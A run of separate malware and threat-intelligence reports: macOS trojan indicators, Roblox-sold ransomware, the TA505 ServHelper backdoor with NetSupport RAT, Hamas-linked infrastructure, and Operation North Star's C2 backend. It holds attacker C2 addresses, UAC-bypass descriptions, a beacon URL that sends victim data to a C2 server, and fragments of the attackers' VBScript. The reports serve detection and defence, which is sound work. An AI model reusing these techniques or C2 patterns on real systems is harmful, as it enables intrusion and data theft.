Defenders can hunt both for the Team Identifier used to sign the malware, “UD9UN593Z4”, and the bundle identifier of the initial malicious application, “com.apple.files”. The persistence mechanism’s label “com.apple.marcoagent.voiceinstallerd” and executable path `[~]/Library/User Photos/mount_devfs` should also be included in the IoCs for threat hunting.
In our tested sample, the malware C2 was a URL hosted at the domain `mihannevis[.]com`:
`http[:]//mihannevis.com/joes/NAZALgEyGj7b3jNYzbypYX8a/manifest[.]js`
The third stage payload is not well-known to static reputation engines as yet, so defenders should look to behavioural indicators to ensure detection.
## Conclusion
While much macOS malware is often very simply or inexpertly written, the actors behind this multi-stage backdoor trojan have both deployed some novel tricks and improved upon techniques seen in commodity malware such as Shlayer and adware like bundlore. This indicates that they have both the skills and the resources to imitate and innovate in order to achieve their objectives.
## Indicators of Compromise
**SHA1**
- c2e0b35fd4f24e9e98319e10c6f2f803b01ec3f1 – Application Bundle Zip
- 9f84502cb44b82415bcf2b2564963613bdce1917 – Stage 2 Mach-O
- 4f6d34cf187c10d72fb3a2cd29af7e3cb25bc3aa – Stage 3 Mach-O
**SHA256**
- cfa3d506361920f9e1db9d8324dfbb3a9c79723e702d70c3dc8f51825c171420 – Application Bundle Zip
- 05e5ba08be06f2d0e2da294de4c559ca33c4c28534919e5f2f6fc51aed4956e3 – Stage 2 Mach-O
- fd7e51e3f3240b550f0405a67e98a97d86747a8a07218e8150d2c2946141f737 – Stage 3 Mach-O
**FilePaths**
- `[~]/Library/User Photos/mount_devfs`
- `/Library/LaunchDaemons/com.apple.marcoagent.voiceinstallerd.plist`
- `~/Library/LaunchAgents/com.apple.marcoagent.voiceinstallerd.plist`
**C2 Servers**
- mihannevis[.]com
- mykessef[.]com
- idtpl[.]org
**Code Signature**
- Identifier=com.apple.files
- Format=app bundle with generic
- CodeDirectory v=20200 size=159 flags=0x0(none) hashes=1+3 location=embedded
- Hash type=sha1 size=20
- CandidateCDHash sha1=3c6c754b58f4450505494f1b68104d0154d19296
- CandidateCDHashFull sha1=3c6c754b58f4450505494f1b68104d0154d19296
- Hash choices=sha1
- CMSDigest=eee562155af89168a52d306f11facca999d84505df789a1d8124d8446c726bc5
- CMSDigestType=2
- CDHash=3c6c754b58f4450505494f1b68104d0154d19296
- Signature size=8576
- Authority=(unavailable)
- Info.plist=not bound
- TeamIdentifier=UD9UN593Z4
- Sealed Resources version=2 rules=12 files=2
**MITRE ATT&CK TTPs**
- Process achieved persistency through launchd job. T1150
- Process dropped a hidden suspicious plist to achieve persistency. T1160 |
# Roblox Game Pass Store Used to Sell Ransomware Decryptor
A new ransomware is taking the unusual approach of selling its decryptor on the Roblox gaming platform using the service's in-game Robux currency. Roblox is an online kids gaming platform where members can create their own games and monetize them by selling Game Passes, which provide in-game items, special access, or enhanced features. To pay for these Game Passes, members must purchase them using an in-game currency called Robux.
## Selling Decryptors on Roblox
Today, security researcher MalwareHunterTeam found a new ransomware named 'WannaFriendMe' that impersonates the notorious Ryuk Ransomware. However, in reality, it is a variant of the Chaos Ransomware. In June 2021, a threat actor began selling a Chaos ransomware builder that allowed wannabe criminals to create their very own ransomware infection with customized ransom notes, encrypted file extensions, and other features. By default, the Chaos builder pretends to be Ryuk, using the .ryuk extension for encrypted files.
What makes the new WannaFriendMe ransomware stand out is that instead of demanding cryptocurrency as a ransom payment, it requires victims to purchase a decryptor from Roblox's Game Pass store using Robux, as can be read in the ransom note below:
**----- YOUR FILES HAVE BEEN ENCRYPTED! -----**
Don't panic, your files are decryptable, but your files can only be decrypted with our own decrypter tool! To get this decrypter, you must buy this gamepass:
YOU MUST HAVE A ROBLOX ACCOUNT TO BUY THE GAMEPASS, BUY 1700 ROBUX AND THEN BUY THE GAMEPASS ABOVE. AFTER BUYING THE GAMEPASS, CONTACT [email protected] WITH YOUR USERNAME AND SCREENSHOT OF YOU OWNING THE GAMEPASS. DO NOT DELETE THE GAMEPASS OTHERWISE YOU WILL DISOWN THE GAMEPASS.
When visiting the URL to the Roblox Game Pass store, you can see that the 'Ryuk Decrypter' is being sold by a user named 'iRazormind' for 1,499 Robux and was last updated on June 5th.
## Decryptor Sold as a Roblox Game Pass
The problem with Chaos ransomware variants is that they not only encrypt your data but also destroy it in many cases. While encrypting a device, any file greater than 2MB in size will be overwritten with random data and not encrypted. This means that even if you purchase a decryptor, only files smaller than 2MB can be recovered.
While it is unclear how this ransomware is distributed or if it has been used in attacks, its destructive nature and its targeting of young gamers could lead to significant damage. This is not the first time Chaos ransomware variants have targeted gamers. In October, threat actors targeted Japanese Minecraft players with 'alt lists' allegedly containing stolen Minecraft accounts but encrypted devices with the Chaos ransomware variant instead. |
# Operation TA505: Investigating the ServHelper Backdoor with NetSupport RAT. Part 2.
At the end of July 2019, we encountered an interesting piece of malware distributed by the TA505 group. On July 22, 2019, it was uploaded into ANY.RUN for dynamic analysis. Two anomalies attracted our attention: in addition to the usual tags for TA505 ServHelper, the "netsupport" tag appeared, and the NetSupport RAT was listed among network signature events.
This might seem strange at first glance, since the ServHelper backdoor already provides attackers with significant control over their victims' computers. To understand what's going on, let's take a closer look at how the malware functions.
## NSIS and PowerShell Droppers
The executable PE file that begins our analysis is an installer on the Nullsoft Scriptable Install System (NSIS) platform. This NSIS script extracts and runs a nested PowerShell script.
The PowerShell script contains a Base64-encoded buffer, which, after decoding, is decrypted by the Triple DES (3DES) algorithm in CBC mode. The first segment of the script defines a function called `heller`, which raises system privileges and allows UAC defenses to be bypassed. Two techniques are implemented to this end:
**Technique 1** — Using the SilentCleanup task in the Task Scheduler:
SilentCleanup can be launched by the user, running with elevated privileges. The path to the executable file is specified in its properties using the %windir% environment variable, which can be reset to trigger the launch of a PowerShell script. Running the task will cause the PowerShell script to launch with admin privileges, bypassing the UAC. This technique targets Windows 8 and Windows 10 systems and is identical to the module implementation for the Metasploit framework.
**Technique 2** — Using the sysprep.exe system utility and DLL side-loading:
A helper script is created to relaunch the PowerShell script in the directory C:\Windows\Temp. A CAB archive is created containing an auxiliary DLL, CRYPTBASE.dll. This archive is unpacked into C:\Windows\System32\Sysprep using the wusa.exe system utility. The sysprep.exe utility launches, loading the DLL, which executes a helper script. The PowerShell script is relaunched with administrator privileges, bypassing the UAC. This technique targets Windows 7 systems.
The script contains many comments, an unused Test-Administrator function, and uninitialized variables, indicating that the code was copied directly without concern for conciseness.
Once the script has been run with the necessary privileges, the second segment is executed. At this stage, the target payloads are decoded:
- The string is decoded from Base64.
- The data is decompressed using Deflate.
- The string is re-decoded from Base64.
As a result, the following files will be created in the system:
- `%systemroot%\help\hlp11.dat` — a x86/x64 version of the RDP Wrapper Library, used to expand the functionality of the RDP service, allowing multiple simultaneous connections. The library is modified: after being launched, linear XOR quickly decodes the string `c:\windows\help\hlp12.dat`, then downloads the DLL via the resulting path.
- `%systemroot%\help\hlp12.dat` — a x86/x64 version of the ServHelper backdoor.
- `%systemroot%\help\hlp13.dat` — a configuration file for the RDP Wrapper Library.
- `%systemroot%\system32\rdpclip.exe` — an RDP component allowing the exchange of clipboard data.
- `%systemroot%\system32\rfxvmt.dll` — an RDP component for data transfer using RemoteFX.
Once the payload has been extracted and written, the script configures its components:
- The owner of the rfxvmt.dll component is changed to NT SERVICE\TrustedInstaller, and the new owner is granted permissions.
- The port value for RDP connections is changed from 3389 to 720.
- A network services account is added as a local administrator.
- hlp11.dat is registered as an RDP service, and the RDP is rebooted.
- All temporary files that were created are deleted.
## ServHelper RAT → Dropper
One result of the droppers is a DLL called hlp12.dat, which is a malware ServHelper. Both x86 and x64 versions can be created, depending on the OS bit depth. Both are written in Delphi; one is packaged in UPX 3.95 (x64) and the other in PeCompact 2.20 (x86). The distribution and operation of this backdoor have already been analyzed by researchers at Proofpoint and Trend Micro. Our case does not differ significantly in its capabilities from previously investigated instances. Notably, the algorithm for decrypting the strings has not changed (a Vigenère cipher is used).
Interestingly, not all strings are encrypted. For instance, domains and web links are left in their unencrypted format. Following one of these links (hxxp://letitbe.icu/2.txt) triggers the download of an encrypted file (MD5: 0528104f496dd13438dd764e747d0778). The byte value 0x09 is frequently repeated at the end of this file, indicating encryption using a single-byte XOR.
After decryption, we get a ZIP archive with the following contents:
All these files are legitimate software for PC remote control using NetSupport Manager — a product that has been repeatedly exploited by hackers.
One of the files (client32.ini) is a configuration file specifying the address of the intermediary gateway through which the victim's PC connects with attackers. This option makes sense if the victim is behind a firewall and their internet access is restricted by ports. At least two ports—80 (HTTP) and 443 (HTTPS)—must be accessible for the internet to work properly. Thus, this technique increases the chance of a successful connection.
In September 2019, we found several more similar instances of ServHelper, albeit with significantly limited capabilities. For instance, in one case (MD5: 5b79a0c06aec6126364ce1d5cbfedf66), a similar pattern of repeating bytes was found among the encrypted data of an executable PE file. Once again, we have a ZIP archive that has been XOR-encrypted using a single byte. It contains the same NetSupport Manager components as in our previous example, albeit with a different intermediary gateway: 179[.]43.146.90:443.
## Conclusions
This article has examined how the TA505 group utilizes ServHelper to distribute and implement backdoor malware. The main component of the malware is preceded by interesting features—UAC is bypassed and privileges are raised. However, even more interestingly, the malware's main backdoor contains compelling variations. Its basic functionality (data theft, spying, and execution of commands) is supplemented with another tool embedded for remote management of the victim's PC—namely, NetSupport RAT.
Newer versions of ServHelper no longer contain all the key features of a full-fledged backdoor. Rather, they serve the restricted role of an intermediary dropper with the sole aim of installing NetSupport RAT. It is likely that the attackers find this approach more efficient to develop and more difficult to detect. This is not the last of the group's tools and techniques to provide fodder for our investigation. The next installment will be forthcoming.
**Author:** Alexey Vishnyakov, Positive Technologies
## IOCs
- hxxp://185.225.17.175/wrkn157.exe — link with which NSIS dropper was downloaded
- d2a062ca772fa3ace7c7edadbd95eaf7 — NSIS dropper
- 0cacea3329f35e88a4f9619190e3746f — PowerShell dropper shipkat.ps1
- fb609b00e29689db74c853ca7d69f440 — CRYPTBASE.dll (x86)
- 843288a35906aa90b2d1cc6179588a26 — CRYPTBASE.dll (x64)
- 445cd6df302610bb640baf2d06438704 — hlp11.dat (x86)
- 083f66cc0e0f626bbcc36c7f143561bd — hlp11.dat (x64)
- 40bae264ea08b0fa115829c5d74bf3c1 — hlp12.dat (x86)
- ac72ab230608f2dca1da1140e70c92ad — hlp12.dat (x64)
- 07f1dc2a9af208e88cb8d5140b54e35e — hlp13.dat
- 1690e3004f712c75a2c9ff6bcde49461 — rdpclip.exe
- dc39d23e4c0e681fad7a3e1342a2843c — rfxvmt.dll
**ServHelper C2:**
- 179[.]43.156.32
- 185[.]163.45.124
- 185[.]163.45.175
- 185[.]225.17.150
- 185[.]225.17.169
- 185[.]225.17.175
- 185[.]225.17.98
- 195[.]123.221.66
- 195[.]123.246.192
- 37[.]252.8.63
- 94[.]158.245.123
- 94[.]158.245.154
- 94[.]158.245.232
- fdguyt5ggs[.]pw
- foxlnklnk[.]xyz
- gidjshrvz[.]xyz
- letitbe[.]icu
- pofasfafha[.]xyz
- 0528104f496dd13438dd764e747d0778 — encrypted ZIP archive with NetSupport RAT
**NetSupport Manager components:**
- 953896600dfb86750506706f1599d415 — cksini.exe
- 8d9709ff7d9c83bd376e01912c734f0a — client32.exe
- 2d3b207c8a48148296156e5725426c7f — HTCTL32.DLL
- 0e37fbfa79d349d672456923ec5fbbe3 — msvcr100.dll
- 26e28c01461f7e65c402bdf09923d435 — nskbfltr.inf
- 88b1dab8f4fd1ae879685995c90bd902 — NSM.ini
- 7067af414215ee4c50bfcd3ea43c84f0 — NSM.LIC
- dcde2248d19c778a41aa165866dd52d0 — pcicapi.dll
- a0b9388c5f18e27266a31f8c5765b263 — PCICHEK.DLL
- 00587238d16012152c2e951a087f2cc9 — PCICL32.DLL
- 2a77875b08d4d2bb7b654db33a88f16c — remcmdstub.exe
- eab603d12705752e3d268d86dff74ed4 — TCCTL32.DLL
- 185[.]225.17.66:443 — NetSupport RAT Gateway Address
- 5b79a0c06aec6126364ce1d5cbfedf66 — ServHelper with NetSupport RAT archive
- 179[.]43.146.90:443 — NetSupport RAT Gateway Address |
# CYBER THREAT ANALYSIS
## Hamas Application Infrastructure Reveals Possible Overlap with Iranian Threat Activity
### Executive Summary
Insikt Group identified an application disseminated on a Telegram Channel used by members or supporters of the Hamas terrorist organization. The application is configured to communicate with Hamas’s Izz ad-Din al-Qassam Brigades website — alqassam[.]ps. The website has worked intermittently since the start of Hamas’s ground incursion into Israeli territory on October 7, 2023. From October 11, 2023, onward, we observed the domain point to multiple different IP addresses, which is likely related to attempts to evade website takedowns or, potentially, denial-of-service (DoS) attacks.
Infrastructure analysis associated with alqassam[.]ps led to the identification of a cluster of domains that mimic the domain registration tradecraft of TAG63 (AridViper, APTC23, Desert Falcon), a cyber group that we believe operates at the behest of the Hamas terrorist organization. We also observed that these domains were interconnected via a Google Analytics code and were configured to redirect to alqassam[.]ps.
Last but not least, a domain associated with the cluster hosted a website that spoofs the World Organization Against Torture (OMCT). Based on domain registration patterns, we observed a likely Iran nexus tied to that domain.
Recorded Future Network Intelligence revealed a significant uptick in network traffic to the IP addresses hosting alqassam[.]ps, which overlapped with the start of Hamas's attack on October 7, 2023, as well as a significant reduction in traffic by late on October 10. This is potentially due to website outages or denial-of-service (DoS) attacks directed at the website by third parties.
### Key Findings
- The application dropped in a Telegram Channel claiming affiliation to Hamas’s Izz ad-Din al-Qassam Brigades was designed to enhance the dissemination of the organization's message via that application.
- Multiple domains identified through Insikt Group infrastructure research revealed that they shared a specific Google Analytics code; various domains were also identified redirecting to the Izz ad-Din al-Qassam Brigades website.
- We observed domain registration tradecraft commonly associated with TAG63, which shared the website redirect to the Izz ad-Din al-Qassam Brigades website.
- Our analysis suggests that infrastructure likely operated by the same threat actors revealed an Iran nexus based on subdomain naming registration conventions. One of the subdomains associated with this cluster hosted a spoofed page associated with the World Organization Against Torture.
- Recorded Future Network Intelligence observed an influx of network traffic to IP addresses hosting the Izz ad-Din al-Qassam Brigades website at the start of Hamas’s incursion into Israeli territory on October 7, 2023.
### Analysis
#### The Al Qassam Application
The Al Qassam application was posted on October 10, 2023, via a Telegram Channel called "مﺎﺳﻘﻟانﯾدﻟازﻋ دﯾﮭﺷﻟابﺋﺎﺗﻛ" (Martyr Izz ad-Din al-Qassam Brigades), where it was disseminated to be shared with the group's membership base.
The application is configured to communicate with the domain that acts as an outlet for the Qassam Brigade — alqassam[.]ps — which, at the time of this analysis, resolved to the IP address 5.45.81.22 and is owned by a Panamanian entity called "IROKO Networks Corporation" (AS12722). We observed the domain point to multiple different IP addresses from October 11, 2023, onward.
The domain — alqassam[.]ps — resolved to 176.114.6.214 from May 2021 until October 11, 2023. On October 11, the domain changed its resolution to 185.209.31.193, an IP address owned by a Russian entity, "VDSINA VDS Hosting" (AS48282). According to public reports, this ASN is associated with "Hosting Technology LTD," an entity located in Moscow, Russia.
| Domain | IP Address | ASN | Registrar | WHOIS Data | First Seen | Last Seen |
|--------------------|--------------------|---------------|----------------|-----------------------------|--------------|--------------|
| alqassam[.]ps | 5.45.81.22 | AS12722 | IROKO Networks | "Maktab" ahmed.alqassa | 10/15/2023 | 10/17/2023 |
| | 45.142.137.107 | AS56902 | Energy Bridge | | 10/16/2023 | 10/17/2023 |
| | 85.202.95.107 | AS199239 | Khodor Kanso | | 10/15/2023 | 10/16/2023 |
| | 185.209.31.193 | AS48282 | Hosting Technology | | 10/11/2023 | 10/14/2023 |
| | 176.114.6.214 | AS56485 | Oleksandr Siedinkin | | 05/28/2021 | 10/11/2023 |
### Sandbox Analysis
When analyzed in Recorded Future's sandbox (Android emulator), the application installed and successfully launched but failed to load content, claiming a "connection failure." The two options below the "connection failure" notification enable the user to attempt to connect again via the "Try Again" option; we tried via various instances of the application loaded on different virtual machines, but it failed to load content. The other option, "Close," allows a user to cancel, at which point the application terminates. As of this writing, it is almost certain the application was not able to communicate successfully with the host website as it was knocked offline, potentially due to hacktivist operations or a hosting provider takedown.
The application has been identified via different name variants but, as of this writing, all known files are configured to communicate with alqassam[.]ps. Both the Recorded Future sandbox and third-party sandboxes have determined the Android version of the application to be suspicious. That said, the application does not request access to sensitive information from the device (such as images, access to microphones and cameras, SMS, or geolocation data).
| SHA256 Hash | File Name | Creation Timestamp | First Seen |
|-------------------------------------------|----------------------------|--------------------|--------------|
| 04880196c8927d7fcaf32d6cc55f5b7a33858f65de70a968efc0ea8d9f7221c2 | alqassam_app.apk | 01/01/1981 | 10/10/2023 |
| | Kasman_1001.apk | | |
### Infrastructure Pivots
Identification of Domains and Suspected Link to TAG63
We identified a cluster of domains that share the Google Analytics code UA-53251638, which is associated with domains linked to Hamas threat actors, including the Al Qassam website. Four of the five domains match the domain registration convention of TAG63 domains we have identified as part of our threat tracking. The domains listed all shared the same redirect to alqassam[.]ps.
| Domain | IP Address | First Resolved | ASN | Registrar | First Seen |
|---------------------------|--------------------|----------------|-----------|-------------|--------------|
| isabeljwade[.]icu | 198.54.117.210 | | AS22612 | NameCheap | 04/27/2023 |
| francescatmorrison[.]icu | 198.54.117.210 | | AS22612 | NameCheap | 04/27/2023 |
| jayyburrows[.]icu | 198.54.117.210 | | AS22612 | NameCheap | 04/27/2023 |
| jessicakphillips[.]icu | 198.54.117.210 | | AS22612 | NameCheap | 04/27/2023 |
The domains listed are considered malicious by a small number of antivirus engines; Insikt Group has not identified any samples pointing to a specific malware family.
### Infrastructure Link to Iran
We observed a final domain — nikanps[.]top — sharing the above-noted redirect to the Al Qassam Brigades website on May 25, 2023. This domain's registration history and details were also different from the domains listed. The domain was first registered on May 9, 2023, and resolved to the Hetzner Online GmbH IP address. The registrant also used privacy protections to mask all pertinent WHOIS data. At the time of writing, the domain is not listed as malicious by antivirus engines.
| Domain | IP Address | First Resolved | ASN | Registrar | First Seen |
|---------------------------|--------------------|----------------|-----------|-------------|--------------|
| nikanps[.]top | 91.107.188.236 | | AS24940 | CSL Computer Service | 05/09/2023 |
Recorded Future pDNS data indicates that the domain owner is highly likely also responsible for registering the Dynamic DNS (DDNS) domain nikanpsx.hopto[.]org, which resolved to the same IP address in May 2023. As of this writing, the DDNS domain has not been listed as malicious by antivirus engines.
Various subdomains of nikanps[.]top shared naming links to Iran, such as iran.nikanps[.]top, hamrah.nikanps[.]top, and modir.nikanps.top. In Farsi, the terms "hamrah" and "modir" mean "attendant" (or "along" or "comrade") and "director" (or "manager"), respectively. As of this writing, we have not been able to determine how they have been used by the owners of the domains.
### The OMCT Page
The nikanps[.]top domain was used to spoof a landing page associated with the World Organization Against Torture (OMCT). A subdomain — user.nikanps[.]top — that pointed to two IP addresses from May 9 to May 11, 2023, was detected via a urlscan submission on May 9.
At the time of submission, the subdomain resolved to 91.107.129.43. The second IP address that hosted user.nikanps[.]top was 91.107.188.236, and while multiple other domains were hosted on the latter IP address, only two others pointed to the former: admin.nikanps[.]top and hz.nikanpsx[.]top. The earliest known "A" record of hz.nikanpsx[.]top dates to early January 2023. As of this writing, we have not identified any malicious activity associated with the domain or infrastructure.
It is highly likely that the nikanpsx[.]top domain is owned by the same threat actors responsible for the DDNS domain — nikanpsx.hopto[.]org — as well as nikanps[.]top. We have observed notable hosting overlaps between subdomains associated with both apex domains since January 2023.
### Google Code and Links to Palestinian Hacktivist Operations
We observed that many of the domains that share the same Google Analytics code (UA-53251638) were also compromised and defaced by threat actors that support the Gaza-based organization behind the domain. In one of the defacements, a compromised Israeli website is defaced by an entity claiming to be Giant's-PS, a known hacktivist group affiliated with the Palestinian Territories. One of the defacements revealed an uploaded video of an operative dressed in military fatigues, with the Al Qassam Brigades flag in the background. We note, however, that not all websites observed to have been defaced shared the same messaging and presumed allegiance to the Qassam Brigades, as some depicted general support for Palestinian statehood.
### Network Intelligence
Recorded Future Network Intelligence revealed an increased level of traffic to alqassam[.]ps and associated IP addresses that we investigated, which overlapped with the start of the ground attack into Israeli territory on October 7, 2023. The sustained traffic peaked and started to decline by October 10. We observed expected network traffic to a website that included connections to ports 80 and 443 from globally dispersed IP addresses.
The observation could be explained as internet user navigation to the organization's website, likely by supporters or parties seeking to acquire information about the group's activities, as information was shared by the group. Another explanation could be that the increased traffic may have been caused by third parties seeking to attack the website using DoS techniques.
### Outlook
The infrastructure overlaps that were identified between the Hamas application and the cluster of domains we suspect are linked to TAG63 tradecraft are notable — they depict not only a possible slip in operational security but also ownership of the infrastructure shared between groups. One possible hypothesis to explain this observation is that TAG63 shares infrastructure resources with the rest of the Hamas organization.
In relation to the Iran-nexus infrastructure link, we assess it is likely that the newly identified domains (nikanps[.]top and nikanpsx[.]top) were operated by threat actors that share an organizational or ideological affiliation with the Qassam Brigades. At the time of writing, Iran's Islamic Revolutionary Guard Corps (IRGC), and specifically the Quds Force, is the only known entity from Iran that provides cyber technical assistance to Hamas and other Palestinian threat groups.
### Appendix A — Indicators
**Domains:**
- alqassam[.]ps
- nikanps[.]top
- hamrah.nikanps[.]top
- modir.nikanps.top
- admin.nikanps[.]top
- user.nikanps[.]top
- nikanpsx[.]top
- hz.nikanpsx[.]top
- nikanpsx.hopto[.]org
- isabeljwade[.]icu
- francescatmorrison[.]icu
- jayyburrows[.]icu
- jessicakphillips[.]icu
**IP addresses:**
- 185.209.31[.]193
- 176.114.6[.]214
- 91.107.188[.]236
- 91.107.129[.]43
- 198.54.117[.]210
- 5.45.81[.]22
**Application SHA256 Hash:**
- 04880196c8927d7fcaf32d6cc55f5b7a33858f65de70a968efc0ea8d9f7221c2
Please note that this infrastructure is not entirely reflective of malicious attacker-controlled infrastructure. In some instances, such as with 198.54.117.210, the infrastructure highlighted was purely to indicate a "First Seen" record. Researchers should evaluate each indicator for malicious activity within their networks. |
# Operation North Star: Behind The Scenes
**Executive Summary**
It is rare to be provided an inside view on how major cyber espionage campaigns are conducted within the digital realm. The only transparency afforded is a limited view of victims, a malware sample, and perhaps the IP addresses of historical command and control (C2) infrastructure. The Operation North Star campaign we detailed earlier this year provided just this. This campaign used social media sites, spearphishing, and weaponized documents to target employees working for organizations in the defense sector. This early analysis focused on the adversary’s initial intrusion vectors, described the first stages of how an implant was installed, and how it interacted with the Command and Control (C2) server.
However, that initial disclosure left gaps such as the existence of a secondary payload and additional insights into how the threat actors carried out their operations and who they targeted. The updated report takes a unique deep dive following our identification of previously undiscovered information into the backend infrastructure run by the adversaries. These findings reveal a previously undiscovered secondary implant known as Torisma. However, more telling are the operational security measures that were undertaken to remain hidden on compromised systems. In particular, we saw the application of an Allow and Block list of victims to ensure the attacker’s secondary payload did not make its way to organizations that were not targeted. This tells us that certainly there has been a degree of technical innovation exhibited not only with the use of a template injection but also in the operations run by the adversary.
Finally, while we cannot confirm the extent of the success of the adversary’s attacks, our analysis of their C2 log files indicates that they launched attacks on IP addresses belonging to internet service providers (ISPs) in Australia, Israel, and Russia, and defense contractors based in Russia and India. The findings within this report are intended to provide you, the reader, unique insights into the technology and tactics the adversary used to target and compromise systems across the globe.
**Compromised Site**
Operation North Star C2 infrastructure consisted of compromised domains in Italy and other countries. Compromised domains belonged, for example, to an apparel company, an auction house, and a printing company. These URLs hosted malicious DOTM files, including a malicious ASP page. The domain fabianiarte.com (fabianiarte.it) was compromised to host backend server code and malicious DOTM files. This domain hosted DOTM files that were used to mimic defense contractors’ job profiles as observed in Operation North Star, but the domain also included some rudimentary backend server code that we suspect was used by the implant. Log files and copies appeared in the wild pertaining to the intrusion of this domain and provided further insight. According to our analysis of this cache of data, this site was compromised to host code on 7/9/2020.
Two DOTM files were discovered in this cache of logs and other intrusion data. These DOTM files belong to campaigns 510 and 511 based on the hard-coded value in the malicious VB scripts.
**Developments in Anti-Analysis Techniques**
During our analysis, we uncovered two DOTM files as part of the cache of data pertaining to the backend. In analyzing first stage implants associated with the C2 server over a period of seven months, we found that there were further attempts by the adversary to obfuscate and confuse analysts. Having appeared in July, these DOTM files contained first stage implants embedded in the same location as we documented in our initial research. However, previous implants from other malicious DOTM files were double base64 encoded and the implants themselves were not further obfuscated. However, there were some notable changes in the method that differed from those detailed in our initial research:
- The first stage implant that is nested in the DOTM file is using triple base64 encoding in the Visual Basic Macro.
- The extracted DLL (desktop.dat) is packed with the Themida packer attempting to make analysis more difficult.
The first stage implant extracted from the DOTM files contains an encrypted configuration file and an intermediate dropper DLL. The configuration file, once decrypted, contains information for the first stage implant. The information includes the URL for the C2 and the decryption keys for the second stage payload called “Torisma”.
**Contents of Decrypted Configuration**
Because the configuration file contains information on how to communicate with the C2, it also stores the parameter options (ned, gl, hl). In this case, we see an unknown fourth parameter known as nl; however, it does not appear to be implemented in the server-side ASP code. It is possible that the adversary may have intended to implement it in the future.
**Appearance of nl Parameter**
In addition, analysis of the backend components for this compromised server enables us to draw a timeline of activity on how long the attacker had access. For example, the DOTM files mentioned above were placed on the compromised C2 server in July 2020. Some of the main malicious components involved in the backend operation were installed on this server in January 2020, indicating that this C2 server had been running for seven months.
**Digging into the Heart of Operation North Star – Backend**
As we covered in our initial Operation North Star research, the overall attack contained a first stage implant delivered by the DOTM files. That research found specific parameters used by the implant and that were sent to the C2 server. Further analysis of the implant “wsdts.db” in our case revealed that it gathers information of the victim’s system. For example:
- Get system disks information
- Get Free disk space information
- Get Computer name and (logged in) Username
- Process information
When this information is gathered, it will be communicated towards the C2 server using the parameters (ned, gl, hl). These parameters are interpreted by an obfuscated server-side ASP page; based on the values sent will depend on the actions taken upon the victim. The server-side ASP page was placed on the compromised server in January 2020.
Additionally, based on this information, the adversary is targeting Windows servers running IIS to install C2 components. The server-side ASP page contains a highly obfuscated VBScript embedded that, once decoded, reveals code designed to interact with the first stage implant. The ASP page is encoded with the VBScript.Encode method resulting in obfuscated VBScript code. The first stage implant interacts with the server-side ASP page through the usage of these finite parameters.
**Encoded VBScript**
Once the VBScript has been decoded, it reveals a rather complex set of functions. These functions lead to installing additional stage implants on the victim’s system. These implants are known as Torisma and Doris, both of which are base64 encoded. They are loaded directly into memory via a binary stream once conditions have been satisfied based on the logic contained within the script.
**Decoded VBScript**
The ASP server-side script contains code to create a binary stream to where we suspect the Torisma implant is written. We also discovered that the Torisma implant is embedded in the ASP page and decoding the base64 blob reveals an AES encrypted payload. This ASP page contains evidence that indicates the existence of logic that decodes this implant and delivers it to the victim.
```vbscript
function getbinary(sdata)
const adtypetext = 2
const adtypebinary = 1
dim binarystream
dim aa
aa = “adodb.stream”
set binarystream = createobject(aa)
binarystream.type = adtypetext
binarystream.charset = “unicode”
binarystream.open
binarystream.writetext sdata
binarystream.position = 0
binarystream.type = adtypebinary
binarystream.position = 2
getbinary = binarystream.read
end function
```
Depending on the values sent, additional actions are performed on the targeted victim. Further analysis of the server-side script indicates that there is logic that depends on some mechanism for the actor to place a victim’s IP address in an allowed-list file. The second stage implant is not delivered to a victim unless this condition is met first. This alludes to the possibility that the actor is reviewing data on the backend and selecting victims; this is likely performed through another ASP page discovered (template-letter.asp).
The server-side ASP page contains code to interpret the data sent via the following parameters to execute additional code. The values to these parameters are sent by the first stage implant initially delivered by the DOTM files. These parameters were covered in our initial research; however, having access to the C2 backend code reveals additional information about their true purpose.
| Parameter | Description |
|-----------|-------------|
| NED | Campaign code embedded in DOTM Macro |
| GL | System Information |
| HL | Flag to indicate OS architecture (32 or 64 bits) |
The URL query string is sent to the C2 server in the following format:
`http://hostname/inc-controller-news.asp?ned=campaigncode&gl=base64encodeddata&hl=0`
Further, code exists to get the infected victim’s IP address; this information is used to check if the IP address is allowed (get the second stage) or if the IP address has been blocked (prevent second stage). As mentioned previously, the addition of the victim’s IP address into the fake MP3 files is likely performed manually through identification of incoming connections through the stage 1 implant.
```vbscript
function getstripaddress()
on error resume next
dim ip
ip = request.servervariables(“http_client_ip”)
if ip = “” then ip = request.servervariables(“http_x_forwarded_for”)
if ip = “” then ip = request.servervariables(“remote_addr”)
end if end if
getstripaddress = ip
end function
```
The full code of the logic gets the IP address for the connecting client machine and writing victim entries to a log file. In breaking down this code, we can see different functionality is used that is most interesting. These log files are also stored within the WWW root of the compromised server based on the variable strlogpath. From the below code snippet of the vbscript, we can see that the “gl” and “hl” parameters are used to query the system information from the victim (gl) and the OS architecture (32 or 64 bits):
```vbscript
strinfo=replace(request.form(“gl “),””,” + “)
strosbit=replace(request.form(“hl “),””,” + “)
```
**Victim Logging**
The adversary keeps track of victims through logging functionality that is implemented into the server-side ASP code. Furthermore, as described above, the backend server code has the ability to perform victim logging based on first stage implant connections. This log file is stored in the WWW root directory on the compromised C2 server. The following code snippet will write data to a log file in the format [date, IP Address, User Agent, Campaign Code (NED), System Info (GL), OS Architecture (HL)].
```vbscript
strlog = date() & “” & formatdatetime(now(), 4)
r = writeline(strlogpath, strlog)
r = writeline(strlogpath, stripaddr)
r = writeline(strlogpath, strua)
r = writeline(strlogpath, strcondition)
r = writeline(strlogpath, strinfo)
r = writeline(strlogpath, strosbit)
```
The server-side ASP code will check whether the IP address is part of an allow-list or block-list by checking for the presence of the IP in two server-side files masquerading as MP3 files. The IP address is stored in the format of an MD5 hash, contained within the server-side code as a function to create an MD5 hash. The code is looking for these files in the WWW root of the compromised server based on the variable strWorkDir. Using an ‘allow-list’ is a possible indication that it contained the list of their pre-determined targets.
```vbscript
strWorkDir = “C:\”
strLogPath=strWorKdir&”lole3D_48_02_05.mp3″
StrWhiteFile=strWorkDir&”wole3D_48_02_05.mp3”
strBlAcKFile=strWorkDir&”bole3D_48_02_05.mp3”
stripAddr=GeTStrIpAddress()
strMD5IpAddr=MD5(strIpAddr)
strUA=Request.serveRVariable
```
**IP Allow-list / Blocklist Checking**
For MD5 hash generation, the system appears to be using a non-standard form of hashing for the IP addresses. In most cases, the built-in Microsoft cryptographic service provider would be used to generate an MD5. In this case, however, the actor chose to use a custom method instead. The IP address is retrieved and hashed using this method.
```vbscript
stripaddr=getstripaddress()
strmd5ipaddr=md5(stripaddr)
```
